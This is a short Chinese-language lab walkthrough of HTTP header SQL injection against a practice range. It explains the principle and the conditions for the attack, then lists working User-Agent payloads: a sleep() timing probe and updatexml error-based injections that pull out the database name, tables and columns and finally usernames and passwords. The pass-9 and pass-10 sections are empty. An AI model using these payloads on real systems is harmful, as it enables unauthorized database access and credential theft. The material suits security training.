1、http頭部注入分析
1、原理
一般獲取頭部的信息用於數據分析,通過請求頭部可以向數據庫發送查詢信息,構造惡意語句可以對數據庫進行信息查詢。
下面是一個頭部注入靶場地址,這次我們用pass-8進行演示
靶場:http://injectx1.lab.aqlab.cn:81/Pass-07/index.php
這是我用burpsuit工具抓取的包
pass-8:
大家可以看到這是登錄界面的核心源碼,賬戶通過server處理過的,我們注入的代碼是通過$uagent帶入數據庫執行
注入的代碼如下:INSERT INTO uagent (‘uagent’,‘username’) VALUES ('' or updatexml(1,concat(0x7e,database(),0x7e),1),1)#','$uname');
2、條件
(1)能夠對請求頭消息進行修改
(2)修改的 請求頭信息能夠帶入數據庫查詢
(3)數據庫沒有對輸入的請求頭做過濾
2、http頭部注入實戰:
' or sleep(5),1)# ,通過sleep函數判斷注入點,注意這里的1代表的是補位。此時我們頁面會延遲5s中刷新出來。
我采用的order by 判斷位置,系統提示了一個錯誤,表明這里我們不能用聯合注入,可以采用報錯注入
爆庫:User-Agent:' or updatexml(1,concat(0x7e,database()),1),1)#
通過報錯注入構造了一個錯誤,后面跟一個查詢,xpath通過web路徑返回給數據庫,查詢出結果。
爆表:User-Agent:' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='head_error')),1),1)#
爆字段:User-Agent:' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='head_error' and table_name='user')),1),1)#
爆數據:User-Agent:' or updatexml(1,concat(0x7e,(select group_concat(username,password) from head_error.user)),1),1)#
pass-9
..........
pass-10
............